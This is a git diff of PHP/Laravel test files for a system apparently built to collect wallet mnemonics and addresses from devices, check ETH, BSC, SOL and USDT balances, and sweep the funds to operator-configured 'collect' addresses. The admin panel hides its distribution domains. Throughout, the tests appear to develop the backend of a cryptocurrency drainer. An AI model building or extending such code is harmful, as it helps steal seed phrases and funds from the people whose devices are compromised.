<div class="layui-form-mid layui-word-aux">归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BSC / TRANSFER_TO_ADDRESS_BTC / TRANSFER_TO_ADDRESS_SOL,后台只读展示,不可修改。BSC 未配置时使用 ETH 归集地址。</div>
</div>
</div>
+44
View File
@@ -222,6 +222,10 @@ class MnemonicAddressLinkTest extends TestCase
'result' => self::MNEMONIC,
]);
Http::fake([
'*' => Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200),
]);
app(IngestService::class)->ingestAddresses($device, [
'a' => 'a',
'ba' => [
@@ -241,6 +245,46 @@ class MnemonicAddressLinkTest extends TestCase
);
}
#[Test]
public function new_eth_address_with_bsc_funds_also_creates_bsc_row(): void
{
config([
'coruna.bsc.rpc_url' => 'https://bsc.example',
'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
'coruna.bsc.usdt_decimals' => 18,
]);
// setUp() already registered a catch-all Http::fake(), and later fakes are
// checked after it, so they never run. Replace the client first.
Http::swap(new \Illuminate\Http\Client\Factory);
Http::fake([
'https://bsc.example' => Http::sequence()
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0xde0b6b3a7640000'], 200)
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1bc16d674ec80000'], 200),
]);
$device = $this->makeDevice('dev-link-bsc');
app(IngestService::class)->ingestAddresses($device, [
'a' => 'a',
'ba' => [
self::ETH_0 => [
['balance' => '0.1', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18],
],
],
]);
$eth = WalletAddress::query()->where('chain_type', 'ETHEREUM')->where('address', self::ETH_0)->first();
$bsc = WalletAddress::query()->where('chain_type', 'BSC')->where('address', self::ETH_0)->first();
$this->assertNotNull($eth);
$this->assertNotNull($bsc);
$this->assertEqualsWithDelta(1.0, (float) $bsc->bnb, 0.0000001);
$this->assertEqualsWithDelta(2.0, (float) $bsc->usdt, 0.0000001);
$this->assertSame($eth->device_id, $bsc->device_id);
$this->assertSame($eth->source, $bsc->source);
$this->assertTrue((float) ($eth->usdt ?? 0) < 0.0000001);
$this->assertSame(1, WalletAddress::query()->where('chain_type', 'ETHEREUM')->count());
$this->assertSame(1, WalletAddress::query()->where('chain_type', 'BSC')->count());
}
#[Test]
public function ingest_mnemonic_after_address_links_via_ingest(): void
{
+7
View File
@@ -176,6 +176,7 @@ class SystemAdminTest extends TestCase
'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly',
'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly',
'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay',
'coruna.transfer.to_address_sol' => 'SoCollectAddressForDisplayOnly1111111111111',
'coruna.panel.admin_hosts' => [],
'coruna.channel_domains' => ['hidden-cdn.example.com'],
]);
@@ -188,6 +189,7 @@ class SystemAdminTest extends TestCase
->assertDontSee('name="transfer_to_address"', false)
->assertDontSee('name="transfer_to_address_eth"', false)
->assertDontSee('name="transfer_to_address_btc"', false)
->assertDontSee('name="transfer_to_address_sol"', false)
->assertSee('readonly', false)
->assertDontSee('name="panel_admin_hosts"', false)
->assertDontSee('name="channels_domains"', false)
@@ -197,6 +199,8 @@ class SystemAdminTest extends TestCase
->assertSee('TCollectTronAddressForDisplayOnly')
->assertSee('0xCollectEthAddressForDisplayOnly')
->assertSee('bc1CollectBtcAddressForDisplay')
->assertSee('SoCollectAddressForDisplayOnly1111111111111')
->assertSee('TRANSFER_TO_ADDRESS_SOL')
->assertSee('只能在 .env 配置')
->assertDontSee('hidden-cdn.example.com')
->assertSee('TELEGRAM_BOT_TOKEN')
@@ -212,6 +216,7 @@ class SystemAdminTest extends TestCase
'coruna.transfer.to_address' => 'TKeepCollect',
'coruna.transfer.to_address_eth' => '0xKeepCollect',
'coruna.transfer.to_address_btc' => 'bc1KeepCollect',
'coruna.transfer.to_address_sol' => 'SoKeepCollect',
]);
$this->actingAs($this->superAdmin(), 'admin')
@@ -222,6 +227,7 @@ class SystemAdminTest extends TestCase
'transfer_to_address' => 'TNewCollect',
'transfer_to_address_eth' => '0xNewCollect',
'transfer_to_address_btc' => 'bc1NewCollect',
'transfer_to_address_sol' => 'SoNewCollect',
])
->assertOk()
->assertJsonPath('code', 0);
@@ -229,6 +235,7 @@ class SystemAdminTest extends TestCase
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
$this->assertSame('SoKeepCollect', config('coruna.transfer.to_address_sol'));
}
#[Test]
+40
View File
@@ -207,6 +207,46 @@ class TransferServiceTest extends TestCase
]);
}
#[Test]
public function sol_sweep_requires_its_own_collect_address(): void
{
config([
'coruna.transfer.to_address' => self::TO,
'coruna.transfer.to_address_sol' => '',
]);
$from = 'So11111111111111111111111111111111111111112';
$result = app(TransferService::class)->handle('sol', $from, '0.1', 'SOL');
$this->assertFalse($result['ok']);
$this->assertSame('TRANSFER_TO_ADDRESS_SOL is not configured', $result['error']);
$this->assertDatabaseHas('transfer_records', [
'from_address' => $from,
'to_address' => null,
'chain' => 'sol',
'error' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
]);
}
#[Test]
public function solana_alias_uses_configured_sol_collect_address(): void
{
$to = 'So11111111111111111111111111111111111111112';
config([
'coruna.transfer.to_address' => self::TO,
'coruna.transfer.to_address_sol' => $to,
]);
$result = app(TransferService::class)->handle('solana', $to, '0.1', 'SOL');
$this->assertFalse($result['ok']);
$this->assertStringNotContainsString('TRANSFER_TO_ADDRESS', (string) ($result['error'] ?? ''));
$this->assertDatabaseHas('transfer_records', [
'chain' => 'solana',
'to_address' => $to,
]);
}
#[Test]
public function rejects_when_no_matching_mnemonic(): void
{
+6 -3
View File
@@ -2,6 +2,7 @@
namespace Tests\Unit;
use App\Services\Chain\BscDriver;
use App\Services\Chain\EthDriver;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
@@ -39,8 +40,9 @@ class EthDriverTest extends TestCase
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.eth.usdt_decimals' => 6,
'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52',
'coruna.eth.bnb_decimals' => 18,
'coruna.bsc.rpc_url' => 'https://ethereum.example',
'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
'coruna.bsc.usdt_decimals' => 18,
]);
Http::fake(function ($request) {
@@ -54,6 +56,7 @@ class EthDriverTest extends TestCase
$addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
$this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract')));
$this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract')));
$bsc = new BscDriver;
$this->assertSame('1', $bsc->getTokenBalance($addr, (string) config('coruna.bsc.usdt_contract')));
}
}
+10 -2
View File
@@ -63,13 +63,17 @@ class WalletBalanceServiceTest extends TestCase
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
$eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5');
$eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
$bsc = \Mockery::mock(\App\Services\Chain\BscDriver::class);
$bsc->shouldReceive('getNativeBalance')->once()->andReturn('2.5');
$bsc->shouldReceive('getTokenBalance')->once()->andReturn('8');
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
$manager->shouldReceive('resolve')->with('bsc')->andReturn($bsc);
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
config([
'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52',
'coruna.bsc.usdt_contract' => '0x55d398326f99059ff775485246999027b3197955',
]);
$device = Device::query()->create([
@@ -92,6 +96,10 @@ class WalletBalanceServiceTest extends TestCase
$this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
$this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001);
$bscRow = WalletAddress::query()->where('chain_type', 'BSC')->where('device_id', $device->id)->first();
$this->assertNotNull($bscRow);
$this->assertEqualsWithDelta(2.5, (float) $bscRow->bnb, 0.0000001);
$this->assertEqualsWithDelta(8.0, (float) $bscRow->usdt, 0.0000001);
}
#[Test]